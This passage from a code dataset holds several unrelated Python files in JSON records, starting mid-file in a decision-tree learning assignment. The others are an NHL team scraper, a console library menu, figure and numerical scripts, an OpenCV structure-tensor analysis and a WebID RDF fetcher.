return examples.getExampleAt(0).getClass()\n    elif attrSpecs == None:\n        return examples.getMajorityClass(classAttrSpec)\n    else:\n        maj = examples.getMajorityClass(classAttrSpec)\n        attr = examples.chooseAttr(attrSpecs,classAttrSpec)\n        root =  DTree.makeDTree(attr, {})\n        for vi in range(attr.getNumVals()):\n            Si =  examples.split(attr)[vi]\n            A = attrSpecs.copy()\n            A.remove(attr)\n            subtree = decisionTreeLearning(Si, A , classAttrSpec, maj)\n            if type(subtree) == DTree:\n                root.children[attr.getValAt(vi)] = subtree\n            else:\n                root.children[attr.getValAt(vi)] = DTree.makeLeaf(subtree)\n        return root\n\n########################################################################\ndef runTest(attrSpecs, classAttrSpec, defaultClass, examples):\n    # Induce the decision tree.\n    tree = decisionTreeLearning(examples, attrSpecs, classAttrSpec, defaultClass)\n    print(tree)\n\n    # Run the decision tree on the training set.\n    for exID in range(examples.getNumExamples()):\n        ex = examples.getExampleAt(exID)\n        print(\"Ans: \" + str(tree.classify(ex)) + \"     Actual: \" + str(ex.getClass()))\n\n########################################################################\ndef smallTest():\n    '''\n    A small example of decision tree induction.\n    \"Is it a good day to go swimming?\"\n    '''\n\n    # Define the attribute specifications.\n    attrSpecs = [AttributeSpec(\"Sunny?\", [True, False]),\n                 AttributeSpec(\"Warm?\", [\"Y\", \"N\"]),\n                 AttributeSpec(\"Age?\", [\"<20\", \"20-40\", \">40\"])]\n\n    # Define the class attribute specification.\n    classAttrSpec = AttributeSpec(\"Swim?\", [\"Y\", \"M\", \"N\"])\n    defaultClass = \"M\"\n\n    # Define the examples on which to induce the decision tree.\n    examples = ExampleList([Example({\"Sunny?\" : True,\n                                     \"Warm?\" : \"Y\",\n                                     \"Age?\" : \"<20\"},\n                                    \"Y\"),\n                            Example({\"Sunny?\" : True,\n                                     \"Warm?\" : \"Y\",\n                                     \"Age?\" : \"20-40\"},\n                                    \"Y\"),\n                            Example({\"Sunny?\" : True,\n                                     \"Warm?\" : \"N\",\n                                     \"Age?\" : \"20-40\"},\n                                    \"N\")\n                            ])\n    \n    runTest(attrSpecs, classAttrSpec, defaultClass, examples)\n    \n########################################################################\ndef xorTest():\n    # Define the attribute specifications.\n    attrSpecs = [AttributeSpec(\"A\", ['F', 'T']),\n                 AttributeSpec(\"B\", ['F', 'T'])]\n    classAttrSpec = AttributeSpec(\"A XOR B?\", [0, 1])\n    defaultClass = 'Y'\n\n    # Define the examples.\n    e1 = Example({'A':'F',\n                  'B':'F',},\n                 0)\n    e2 = Example({'A':'F',\n                  'B':'T',},\n                 1)\n    e3 = Example({'A':'T',\n                  'B':'F',},\n                 1)\n    e4 = Example({'A':'T',\n                  'B':'T',},\n                 0)\n    examples = ExampleList([e1, e2, e3, e4])\n    \n    runTest(attrSpecs, classAttrSpec, defaultClass, examples)\n    \n#########################################################################\ndef rnTest():\n    '''\n    This is a larger example, from Russell and Norvig chapter 18.\n    \"Should I wait for a table at this restaurant tonight?\"\n    '''\n\n    # Define the attribute specifications.\n    attrSpecs = [AttributeSpec(\"alt\", ['n', 'y']),\n                 AttributeSpec(\"bar\", ['n', 'y']),\n                 AttributeSpec(\"fri\", ['n', 'y']),\n                 AttributeSpec(\"hun\", ['n', 'y']),\n                 AttributeSpec(\"pat\", ['none', 'some', 'full']),\n                 AttributeSpec(\"price\", ['$', '$$', '$$$']),\n                 AttributeSpec(\"rain\", ['n', 'y']),\n                 AttributeSpec(\"res\", ['n', 'y']),\n                 AttributeSpec(\"type\", ['french', 'italian', 'thai', 'burger']),\n                 AttributeSpec(\"est\", ['b010', 'b1030', 'b3060', 'g60'])]\n    classAttrSpec = AttributeSpec(\"Will wait\", [False, True])\n    defaultClass = False\n\n    # Define the examples.\n    e1 = Example({'alt': 'y',\n                  'bar': 'n',\n                  'fri': 'n',\n                  'hun': 'y',\n                  'pat': 'some',\n                  'price': '$$$',\n                  'rain': 'n',\n                  'res': 'y',\n                  'type': 'french',\n                  'est': 'b010'},\n                 True)\n                            \n    e2 = Example({'alt': 'y',\n                  'bar': 'n',\n                  'fri': 'n',\n                  'hun': 'y',\n                  'pat': 'full',\n                  'price': '$',\n                  'rain': 'n',\n                  'res': 'n',\n                  'type': 'thai',\n                  'est': 'b3060'},\n                 False)\n\n    e3 = Example({'alt': 'n',\n                  'bar': 'y',\n                  'fri': 'n',\n                  'hun': 'n',\n                  'pat': 'some',\n                  'price': '$',\n                  'rain': 'n',\n                  'res': 'n',\n                  'type': 'burger',\n                  'est': 'b010'},\n                 True)\n    \n    e4 = Example({'alt': 'y',\n                  'bar': 'n',\n                  'fri': 'y',\n                  'hun': 'y',\n                  'pat': 'full',\n                  'price': '$',\n                  'rain': 'y',\n                  'res': 'n',\n                  'type': 'thai',\n                  'est': 'b1030'},\n                 True)\n    \n    e5 = Example({'alt': 'y',\n                  'bar': 'n',\n                  'fri': 'y',\n                  'hun': 'n',\n                  'pat': 'full',\n                  'price': '$$$',\n                  'rain': 'n',\n                  'res': 'y',\n                  'type': 'french',\n                  'est': 'g60'},\n                 False)\n    \n    e6 = Example({'alt': 'n',\n                  'bar': 'y',\n                  'fri': 'n',\n                  'hun': 'y',\n                  'pat': 'some',\n                  'price': '$$',\n                  'rain': 'y',\n                  'res': 'y',\n                  'type': 'italian',\n                  'est': 'b010'},\n                 True)\n    \n    e7 = Example({'alt': 'n',\n                  'bar': 'y',\n                  'fri': 'n',\n                  'hun': 'n',\n                  'pat': 'none',\n                  'price': '$',\n                  'rain': 'y',\n                  'res': 'n',\n                  'type': 'burger',\n                  'est': 'b010'},\n                 False)\n    \n    e8 = Example({'alt': 'n',\n                  'bar': 'n',\n                  'fri': 'n',\n                  'hun': 'y',\n                  'pat': 'some',\n                  'price': '$$',\n                  'rain': 'y',\n                  'res': 'y',\n                  'type': 'thai',\n                  'est': 'b010'},\n                 True)\n    \n    e9 = Example({'alt': 'n',\n                  'bar': 'y',\n                  'fri': 'y',\n                  'hun': 'n',\n                  'pat': 'full',\n                  'price': '$',\n                  'rain': 'y',\n                  'res': 'n',\n                  'type': 'burger',\n                  'est': 'g60'},\n                 False)\n    \n    e10 = Example({'alt': 'y',\n                  'bar': 'y',\n                  'fri': 'y',\n                  'hun': 'y',\n                  'pat': 'full',\n                  'price': '$$$',\n                  'rain': 'n',\n                  'res': 'y',\n                  'type': 'italian',\n                  'est': 'b1030'},\n                 False)\n    \n    e11 = Example({'alt': 'n',\n                  'bar': 'n',\n                  'fri': 'n',\n                  'hun': 'n',\n                  'pat': 'none',\n                  'price': '$',\n                  'rain': 'n',\n                  'res': 'n',\n                  'type': 'thai',\n                  'est': 'b010'},\n                 False)\n    \n    e12 = Example({'alt': 'y',\n                  'bar': 'y',\n                  'fri': 'y',\n                  'hun': 'y',\n                  'pat': 'full',\n                  'price': '$',\n                  'rain': 'n',\n                  'res': 'n',\n                  'type': 'burger',\n                  'est': 'b3060'},\n                 True)\n\n    examples = ExampleList([e1, e2, e3, e4, e5, e6, e7, e8, e9, e10, e11, e12])\n\n    runTest(attrSpecs, classAttrSpec, defaultClass, examples)\n\n#########################################################################\n\ndef mTest():\n    '''\n    This example is from Tom Mitchell's \"Machine Learning\" text.\n    \"Is today a good day to play tennis?\"\n    '''\n\n    # Define the attribute specifications.\n    attrSpecs = [AttributeSpec(\"Outlook\", ['Sunny', 'Overcast', 'Rain']),\n                 AttributeSpec(\"Temperature\", ['Hot', 'Mild', 'Cool']),\n                 AttributeSpec(\"Humidity\", ['High', 'Normal']),\n                 AttributeSpec(\"Wind\", ['Strong', 'Weak'])]\n    classAttrSpec = AttributeSpec(\"Play tennis?\", ['N', 'Y'])\n    defaultClass = 'Y'\n\n    # Define the examples.\n    e1 = Example({'Outlook': 'Sunny',\n                  'Temperature': 'Hot',\n                  'Humidity': 'High',\n                  'Wind': 'Weak'},\n                 'N')\n    \n    e2 = Example({'Outlook': 'Sunny',\n                  'Temperature': 'Hot',\n                  'Humidity': 'High',\n                  'Wind': 'Strong'},\n                 'N')\n\n    e3 = Example({'Outlook': 'Overcast',\n                  'Temperature': 'Hot',\n                  'Humidity': 'High',\n                  'Wind': 'Weak'},\n                 'Y')\n\n    e4 = Example({'Outlook': 'Rain',\n                  'Temperature': 'Mild',\n                  'Humidity': 'High',\n                  'Wind': 'Weak'},\n                 'Y')\n\n    e5 = Example({'Outlook': 'Rain',\n                  'Temperature': 'Cool',\n                  'Humidity': 'Normal',\n                  'Wind': 'Weak'},\n                 'Y')\n\n    e6 = Example({'Outlook': 'Rain',\n                  'Temperature': 'Cool',\n                  'Humidity': 'Normal',\n                  'Wind': 'Strong'},\n                 'N')\n\n    e7 = Example({'Outlook': 'Overcast',\n                  'Temperature': 'Cool',\n                  'Humidity': 'Normal',\n                  'Wind': 'Strong'},\n                 'Y')\n\n    e8 = Example({'Outlook': 'Sunny',\n                  'Temperature': 'Mild',\n                  'Humidity': 'High',\n                  'Wind': 'Weak'},\n                 'N')\n\n    e9 = Example({'Outlook': 'Sunny',\n                  'Temperature': 'Cool',\n                  'Humidity': 'Normal',\n                  'Wind': 'Weak'},\n                 'Y')\n\n    e10 = Example({'Outlook': 'Rain',\n                  'Temperature': 'Mild',\n                  'Humidity': 'Normal',\n                  'Wind': 'Weak'},\n                 'Y')\n\n    e11 = Example({'Outlook': 'Sunny',\n                  'Temperature': 'Mild',\n                  'Humidity': 'Normal',\n                  'Wind': 'Strong'},\n                 'Y')\n\n    e12 = Example({'Outlook': 'Overcast',\n                  'Temperature': 'Mild',\n                  'Humidity': 'High',\n                  'Wind': 'Strong'},\n                 'Y')\n\n    e13 = Example({'Outlook': 'Overcast',\n                  'Temperature': 'Hot',\n                  'Humidity': 'Normal',\n                  'Wind': 'Weak'},\n                 'Y')\n\n    e14 = Example({'Outlook': 'Rain',\n                  'Temperature': 'Mild',\n                  'Humidity': 'High',\n                  'Wind': 'Strong'},\n                 'N')\n    \n    examples = ExampleList([e1, e2, e3, e4, e5, e6, e7, e8, e9, e10, e11, e12, e13, e14])\n\n    runTest(attrSpecs, classAttrSpec, defaultClass, examples)","repo_name":"NikitaPoly/AI-p2","sub_path":"Polyakov-Todd-Mclnerney-py.py","file_name":"Polyakov-Todd-Mclnerney-py.py","file_ext":"py","file_size_in_byte":33692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"40662196852","text":"from lxml import html\nimport requests\nfrom directoryref import HTMLReportDirectory\n\npage = requests.get(\"http://www.nhl.com/ice/teams.htm\")\ntree = html.fromstring(page.text)\n\nTeamPlaceList = tree.xpath('//span[@class=\"teamPlace\"]/text()')\nTeamCommonList = tree.xpath('//span[@class=\"teamCommon\"]/text()')\n\nTeamTuple = list(set(zip(TeamPlaceList, TeamCommonList)))\nTeamList = []\nfor teams in TeamTuple:\n\tTeamList = [' '.join(teams) for teams in TeamTuple]\n\nrawSrc = HTMLReportDirectory + \"\\\\List of NHL Teams.txt\"\nwRawSrc = open(rawSrc, \"w\")\n\nfor team in sorted(TeamList):\n\tprintinfo = \"%s\\n\" % team\n\twRawSrc.write(printinfo.encode('utf8'))\n\n","repo_name":"tcunn093/NHL-Data-Scraper","sub_path":"GenerateNHLTeamsList.py","file_name":"GenerateNHLTeamsList.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"5586106093","text":"import os\r\nimport time\r\n\r\nabooklist=list()\r\n\r\nmenu = \"\"\"\r\n Welcome to the Library\r\n 1-List of Books\r\n 2-Donate a Book to Library\r\n 3-Take a Book from Library\r\n 4-Exit\r\n \"\"\"\r\n\r\ndef listofbooks(booklist:list):\r\n    num=len(booklist)\r\n    if num==0:\r\n        print(\"There is no book in the library.\\n Please donate a book.\")\r\n        print(\"Please press Enter to return main menu\")\r\n        input()\r\n    else:\r\n        counter=0\r\n        for i in booklist:\r\n            counter+=1\r\n            print(counter,\".Book=\" ,i)\r\n        print(\"Please press Enter to return main menu\")\r\n        input()\r\n\r\ndef donatebook(bookname:str,booklist:list):\r\n    booklist.append(bookname)\r\n    print(\"The book you entered is adding to the library\")\r\n    time.sleep(1)\r\n    print(\"-\\-\")\r\n    time.sleep(1)\r\n    print(\"-/-\")\r\n    time.sleep(1)\r\n    print(\"The book you entered has been added to library\")\r\n    print(\"Please press Enter to return main menu\")\r\n    input()\r\n\r\ndef takebook(bookname:str,booklist:list):\r\n    counter=0\r\n    for i in booklist:\r\n        if i==bookname:\r\n            counter+=1\r\n    if counter>0:\r\n        booklist.remove(bookname)\r\n        print(\"The book you entered is removing from library\")\r\n        time.sleep(1)\r\n        print(\"-\\-\")\r\n        time.sleep(1)\r\n        print(\"-/-\")\r\n        time.sleep(1)\r\n        print(\"The book you entered has been removed from library\")\r\n        print(\"Please press Enter to return main menu\")\r\n        input()\r\n    else:\r\n        print(\"The book you entered was not found!\")\r\n        print(\"Please press Enter to return main menu\")\r\n        input()\r\nwhile True:\r\n    print(\"\\n\"*100)\r\n    print(menu)\r\n    choice=input(\"Your choice=\")\r\n    if choice==\"1\":\r\n        listofbooks(abooklist)\r\n    if choice==\"2\":\r\n        book=input(\"Please write book's name which is donating\")\r\n        donatebook(book,abooklist)\r\n    if choice==\"3\":\r\n        book=input(\"Please write book's name that you want\")\r\n        takebook(book,abooklist)\r\n    if choice==\"4\":\r\n        print(\"Exitting\")\r\n        time.sleep(1)\r\n        print(\"Exited!\\nHave a good day\")\r\n        break\r\n    else:\r\n        print(\"You entered a wrong value, please try again.\")","repo_name":"emresagir/PythonProjects","sub_path":"Library_V.re_Eng.py","file_name":"Library_V.re_Eng.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"36087144535","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan 13 17:47:04 2018\n\n@author: barbara\n\"\"\"\n\n#namepath = 'bgris'\nnamepath = 'barbara'\n\nimport sys\nsys.path.insert(0, '/home/' + namepath)\nimport odl\nimport numpy as np\n\n##%% Create data from lddmm registration\nimport matplotlib.pyplot as plt\n\n\nfrom DeformationModulesODL.deform import Kernel\nfrom DeformationModulesODL.deform import DeformationModuleAbstract\nfrom DeformationModulesODL.deform import SumTranslations\nfrom DeformationModulesODL.deform import UnconstrainedAffine\nfrom DeformationModulesODL.deform import LocalScaling\nfrom DeformationModulesODL.deform import LocalRotation\nfrom DeformationModulesODL.deform import EllipseMvt\nfrom DeformationModulesODL.deform import FromFile\nfrom DeformationModulesODL.deform import FromFileV5\nfrom DeformationModulesODL.deform import TemporalAttachmentModulesGeom\nfrom DeformationModulesODL.deform import FromPointsVectorsCoeff_MultiDim\nimport odl\nimport scipy.ndimage as ndimage\n\nimport numpy as np\nfrom DeformationModulesODL.deform import FromPointsVectorsCoeff\n\nimport charestimate as char\nimport estimate_structured_base_pointsvectors as est_coeff\nimport function_compute_pointsvectors as cmp\n#import generate_data_doigt as gen\nimport structured_vector_fields as struct\nimport function_generate_data_doigt_bis as fun_gen\n\nimport scipy\n\n\n# Discrete reconstruction space: discretized functions on the rectangle\nspace = odl.uniform_discr(\n    min_pt=[-10, -10], max_pt=[10, 10], shape=[512,512],\n    dtype='float32', interp='linear')\n\n\nwidth = 2\n\nr_b = 4\nr_c = 4\nsigma = 0.2\n\nnbdata = 10\nmg = space.meshgrid\ndim = 2\n\n#%% Figure data\ndef kernel_np(x, y):\n    #si = tf.shape(x)[0]\n    return np.exp(- sum([ (x[i] - y[i]) ** 2 for i in range(dim)]) / (sigma ** 2))\n\n\nsblur = 5\nnamepath = 'bgris'\nnamepath = 'barbara'\npath = '/home/' + namepath + '/data/'\npathresult = '/home/' + namepath + '/Results/DeformationModules/'\npathexp = 'Doigtbis_dimcont2/'\n#pathexp = 'RotationTranslationRectangle_dimcont2/'\n\npath += pathexp\n#path = '/home/bgris/data/Doigtbis/'\n#name_exp = 'rb_' + str(r_b) +  '_width_' + str(width) + '_sigma_' + str(sigma) + '_nbdata_' + str(nbdata)\nname_exp = 'rb_' + str(r_b) + '_rc_' + str(r_c) + '_width_' + str(width) + '_sigma_' + str(sigma) + '_nbdata_' + str(nbdata) + '_sblur_' + str(sblur)\n#name_exp = 'rb_' + str(r_b) + '_width_' + str(width) + '_sigma_' + str(sigma) + 'nb_fixed' + '_nbdata_' + str(nbdata)\n#name_exp = 'rb_' + str(r_b) + '_rc_' + str(r_c) + '_width_' + str(width) + '_sigma_' + str(sigma) + '_nbdata_' + str(nbdata)\n\nname = path + name_exp + '/'\n\nstructured_list = []\nunstructured_list = []\npoints_list = []\nvectors_list = []\ncov_mat_list = []\nparam_list = []\nA_inner_prod_list = []\nimage_list = []\nnbdatamax = 5\nfor i in range(nbdatamax):\n    structured_list.append(np.loadtxt(name + 'structured' + str(i)))\n    unstructured_list.append(np.loadtxt(name + 'unstructured' + str(i)))\n    vectors_i = structured_list[i][dim:2*dim]\n    points_list.append(np.loadtxt(name + 'points' + str(i)))\n    vectors_list.append(np.loadtxt(name + 'vectors' + str(i)))\n    param_tmp = np.loadtxt(name + 'param' + str(i))\n    param_list.append(param_tmp)\n    image_temp = fun_gen.generate_image_2articulations(space, param_tmp[0:2], param_tmp[2:4],param_tmp[2:4] + 0.85*( param_tmp[4:6] - param_tmp[2:4]), 0.5*width).copy()\n    image_list.append(space.element(scipy.ndimage.filters.gaussian_filter(image_temp, 10)))\n    cov_mat_list.append(struct.make_covariance_matrix(points_list[i], kernel_np))\n    A_inner_prod_list.append(np.dot(cov_mat_list[i], np.dot(vectors_i.T, vectors_list[i] )).T)\n#\n\nparam_list = np.array(param_list).T\n\nnb_points = len(points_list[0][0])\nnb_vectors = len(vectors_list[0][0])\n\n\npoints = space.points()\nstep = 40\nfac= 0.1\nimport os\nnamefig_init = pathresult + pathexp + name_exp\n\n\n#%% Data\n#gen_unstructured = struct.get_from_structured_to_unstructured(space, kernel_np)\n\n\n#os.mkdir(namefig_init)\n\n# save images\nfor i in range(nbdatamax):\n    namefig = namefig_init + '/' + 'data_image_' + str(i)\n    fig = image_list[i].show(clim=[0,1])\n    plt.axis('off')\n    fig.delaxes(fig.axes[1])\n    plt.savefig(namefig)\n    \n#\n\n# save images + vector fields\nfor i in range(nbdatamax):\n    namefig = namefig_init + '/' + 'data_image_vectfield' + str(i)\n    fig = image_list[i].show(clim=[0,1])\n    plt.axis('off')\n    fig.delaxes(fig.axes[1])\n    v = unstructured_list[i].copy()\n    #v = gen_unstructured(structured_list[i])\n    plt.quiver(points.T[0][::step],points.T[1][::step],fac*v[0][::step],fac*v[1][::step], color='r')\n\n    plt.savefig(namefig)\n    \n#\n\n# save images + GD\nfor i in range(nbdatamax):\n    namefig = namefig_init + '/' + 'data_image_GD' + str(i)\n    fig = image_list[i].show(clim=[0,1])\n    plt.axis('off')\n    fig.delaxes(fig.axes[1])\n    plt.plot(param_list.T[i][::2], param_list.T[i][1::2],'xb')\n    plt.savefig(namefig)\n    \n#\n\n# save images + vector fields + GD\nfor i in range(nbdatamax):\n    namefig = namefig_init + '/' + 'data_image_vectfield_GD' + str(i)\n    fig = image_list[i].show(clim=[0,1])\n    plt.axis('off')\n    fig.delaxes(fig.axes[1])\n    v = unstructured_list[i].copy()\n    #v = gen_unstructured(structured_list[i])\n    plt.quiver(points.T[0][::step],points.T[1][::step],fac*v[0][::step],fac*v[1][::step], color='r')\n\n    plt.plot(param_list.T[i][::2], param_list.T[i][1::2],'xb')\n    plt.savefig(namefig)\n    \n#\n\n#%% Rsource and target\n\nimage = space.element(np.loadtxt('/home/barbara/data/Doigtbis_dimcont2/ex_source/11'))\nimage = space.element(scipy.ndimage.filters.gaussian_filter(image, 10))\nnamefig = '/home/barbara/data/Doigtbis_dimcont2/ex_source/11.png'\nfig = image.show(clim=[0,1])\nplt.axis('off')\nfig.delaxes(fig.axes[1])\nplt.savefig(namefig)\n\n\n\n\n\n    ","repo_name":"olivierverdier/charestimate","sub_path":"MakeFigure_DoigtBisCont2.py","file_name":"MakeFigure_DoigtBisCont2.py","file_ext":"py","file_size_in_byte":5758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"9295196294","text":"#     # window size is WxW\n# C_Thr = 0.43    # threshold for coherency\n# LowThr = 35     # threshold1 for orientation, it ranges from 0 to 180\n# HighThr = 57    # threshold2 for orientation, it ranges from 0 to 180\n\n# from\n\nimport numpy as np\nimport cv2 as cv\n\ndef calcGST(inputIMG, w):\n    \"\"\"\n    from https://docs.opencv.org/4.2.0/d4/d70/tutorial_anisotropic_image_segmentation_by_a_gst.html\n    :param inputIMG:\n    :param w:\n    :return:\n    \"\"\"\n    img = inputIMG.astype(np.float32)\n    # GST components calculation (start)\n    # J =  (J11 J12; J12 J22) - GST\n    img_diff_x = cv.Sobel(img, cv.CV_32F, 1, 0, 3) #Calculates the first image derivatives using an extended Sobel operator\n    img_diff_y = cv.Sobel(img, cv.CV_32F, 0, 1, 3)\n    img_diff_xy = cv.multiply(img_diff_x, img_diff_y)\n\n    img_diff_xx = cv.multiply(img_diff_x, img_diff_x)\n    img_diff_yy = cv.multiply(img_diff_y, img_diff_y)\n    J11 = cv.boxFilter(img_diff_xx, cv.CV_32F, (w, w))\n    J22 = cv.boxFilter(img_diff_yy, cv.CV_32F, (w, w))\n    J12 = cv.boxFilter(img_diff_xy, cv.CV_32F, (w, w))\n    # GST components calculations (stop)\n    # eigenvalue calculation (start)\n    # lambda1 = J11 + J22 + sqrt((J11-J22)^2 + 4*J12^2)\n    # lambda2 = J11 + J22 - sqrt((J11-J22)^2 + 4*J12^2)\n    tmp1 = J11 + J22\n    tmp2 = J11 - J22\n    tmp2 = cv.multiply(tmp2, tmp2)\n    tmp3 = cv.multiply(J12, J12)\n    tmp4 = np.sqrt(tmp2 + 4.0 * tmp3)\n    lambda1 = tmp1 + tmp4  # biggest eigenvalue\n    lambda2 = tmp1 - tmp4  # smallest eigenvalue\n    # eigenvalue calculation (stop)\n    # Coherency calculation (start)\n    # Coherency = (lambda1 - lambda2)/(lambda1 + lambda2)) - measure of anisotropism\n    # Coherency is anisotropy degree (consistency of local orientation)\n    coherency = cv.divide(lambda1 - lambda2, lambda1 + lambda2)\n    # Coherency calculation (stop)\n    # orientation angle calculation (start)\n    # tan(2*Alpha) = 2*J12/(J22 - J11)\n    # Alpha = 0.5 atan2(2*J12/(J22 - J11))\n    orientation = cv.phase(J22 - J11, 2.0 * J12, angleInDegrees=True)\n    orientation = 0.5 * orientation\n    # orientation angle calculation (stop)\n    return coherency, orientation\n\n\ndef ApplyDenoising(img_pathname, filterstrenght=20):  #es: \"sharad_data/s_00429402_thm.jpg\" or \"sharad_data/s_00387302_thm.jpg\"\n    imgIn_pre = cv.imread(img_pathname, cv.IMREAD_GRAYSCALE)\n\n    imgIn = cv.fastNlMeansDenoising(imgIn_pre,None,filterstrenght,7,21)\n    return imgIn\n    \ndef ApplyStructureTensor(image, xin=2600, yin=1700, xstep=2400, ystep=1700, W = 10):\n    #imgInSquare = imgIn[1600:3600,2900:4900]\n    #imgInTiny = imgIn[1700:3400,2600:5000]\n    imgInTiny = image[yin:yin+ystep,xin:xin+xstep]\n\n    imgCoherency, ori = calcGST(imgInTiny, W)\n    #imgCoherencySquare, oriSquare = calcGST(imgInSquare, W)\n\n    ori[ori>=90] -=180\n\n    _, imgCoherencyBin = cv.threshold(imgCoherency,0.1, 255, cv.THRESH_BINARY) #2nd value: C_Thr\n    #_, imgCoherencyBinSquare = cv.threshold(imgCoherencySquare,0.1, 255, cv.THRESH_BINARY) \n\n    ori_bin = cv.inRange(ori, -50, 50)\n    #ori_binSquare = cv.inRange(oriSquare, -50, 50)\n\n    imgBin = cv.bitwise_and(imgCoherencyBin, ori_bin.astype(np.float32))\n    #imgBinSquare = cv.bitwise_and(imgCoherencyBinSquare, ori_binSquare.astype(np.float32))\n    dilation_size = 5\n    element = cv.getStructuringElement( cv.MORPH_ELLIPSE,\n                                       ( 2*dilation_size + 1, 2*dilation_size+1 ),\n                                       ( dilation_size, dilation_size ) );\n    eroded = cv.erode(imgBin, element)\n    imgBinClear = cv.dilate(eroded, element)\n    \n    return imgInTiny, imgCoherency, ori, imgCoherencyBin, ori_bin, imgBin, imgBinClear","repo_name":"GiuliaLovati/Tesy","sub_path":"structure_tensor.py","file_name":"structure_tensor.py","file_ext":"py","file_size_in_byte":3647,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"18076424388","text":"import jongau.identity\nimport jongau.settings\nimport requests\nimport logging\nfrom rdflib import BNode, Graph, Literal, Namespace, URIRef\nfrom rdflib.namespace import RDF, RDFS, FOAF, XSD\nCERT = Namespace('http://www.w3.org/ns/auth/cert#')\n\n\ndef fetch_webid(webid):\n\t\"\"\" Fetches an rdf object without sending a webid\n\t    A webid rdf object should not require authentication\n\t    Returns an rdflib graph, which will have content unless there was an error\n\t\"\"\"\n\tgraph = Graph('IOMemory', BNode())\n\theaders = {'Content-type': 'text/turtle'}\n\ttry:\n\t\trequest = requests.get(webid, headers=headers)\n\t\tgraph.parse(data=request.text, format='turtle')\n\texcept Exception as e:\n\t\tlogging.warning(\"Failed to fetch webid %s: %s\"%(webid, e))\n\tquery = 'SELECT ?source WHERE { <%s> rdf:sameAs ?source . }' % (webid,)\n\tres = graph.query(query)\n\tfor source in res:\n\t\tparsed_source = fetch_rdf(source[0])\n\t\tif parsed_source:\n\t\t\tgraph = graph + parsed_source\n\treturn graph\n\n\ndef fetch_rdf(rdf, cert=None):\n\t\"\"\" Fetches an rdf object and sends the server's webid for authentication\n\t    A custom (cert, key) pair can be given, instead of using the server's webid\n\t    Returns an rdflib graph, which will have content unless there was an error\n\t\"\"\"\n\tgraph = Graph('IOMemory', BNode())\n\theaders = {'Content-type': 'text/turtle'}\n\tif not cert:\n\t\tcert = jongau.identity.get_client_cert()\n\ttry:\n\t\trequest = requests.get(rdf, headers=headers, cert=cert)\n\t\tgraph.parse(data=request.text, format='turtle')\n\texcept Exception as e:\n\t\tlogging.warning(\"Failed to fetch rdf url %s: %s\"%(rdf, e))\n\treturn graph\n\n\ndef get_server_root(webid):\n\tindex = webid.find('/webid/')\n\tif index >= 0:\n\t\treturn webid[:index]\n\treturn webid\n","repo_name":"hufman/jongau","sub_path":"jongau/webid.py","file_name":"webid.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"6640672017","text":"import numpy as np\n\nimport pandas as pd\nfrom pandas.plotting import scatter_matrix\n\nfrom scipy import stats\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom random import randrange\n\nimport re\n\nimport random\nimport pickle,pprint\n\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\n\n\nU_t=15    # mV\nD=2       # mV\nC=1   # 10Hz-> 0.01ms^{-1}\ndt=1    #ms\ntau=20    #ms\n\ndef mu(t):\n    return 16\n\n\nt_window = 100\ndt = 0.1\nN = int(t_window / dt)\n\nur = np.zeros((N + 1, 1))\nrho = np.zeros((N + 1, 1))\n\nmu_ = 16\n\nfor r in range(N):\n    ur[r + 1] = ur[r] * (1 - dt / tau) + mu_ * dt / tau\n\nfor r in range(N + 1):\n    rho[r] = C * np.exp((ur[r] - U_t) / D)\n\nint_rho = np.zeros((N + 1, 1))\n\nfor r in range(N):\n    int_rho[r + 1] = int_rho[r] + (rho[r] + rho[r + 1]) / 2 * dt\n\nexp_rho = np.exp(-int_rho[1:])\n\n\ndef int_tau(l,exp_rho):\n    sum_=0\n    for r in range(N):\n        sum_+=np.exp(-l*dt*(r+0.5))*exp_rho[r]*(rho[r]+rho[r+1])/2*dt\n    return abs(sum_)\n\n\nGrid_size=500\n\nreal_array=np.linspace(-1.5,0.,Grid_size)\nim_array=np.linspace(0,3,Grid_size)\n\n\nGrid=np.zeros((Grid_size,Grid_size))\nfor re in range(Grid_size):\n    print(re)\n    for im in range(Grid_size):\n        Grid[re,im]=int_tau(real_array[re]+im_array[im]*1j,exp_rho)\n\n\nGrid_L = {'Grid': Grid}\n\noutput = open('Grid_laplace.pkl', 'wb')\n\n# Pickle dictionary using protocol 0.\npickle.dump(Grid_L, output)\n\n\noutput.close()","repo_name":"ngallice/Master_th","sub_path":"python/L/create_grid.py","file_name":"create_grid.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
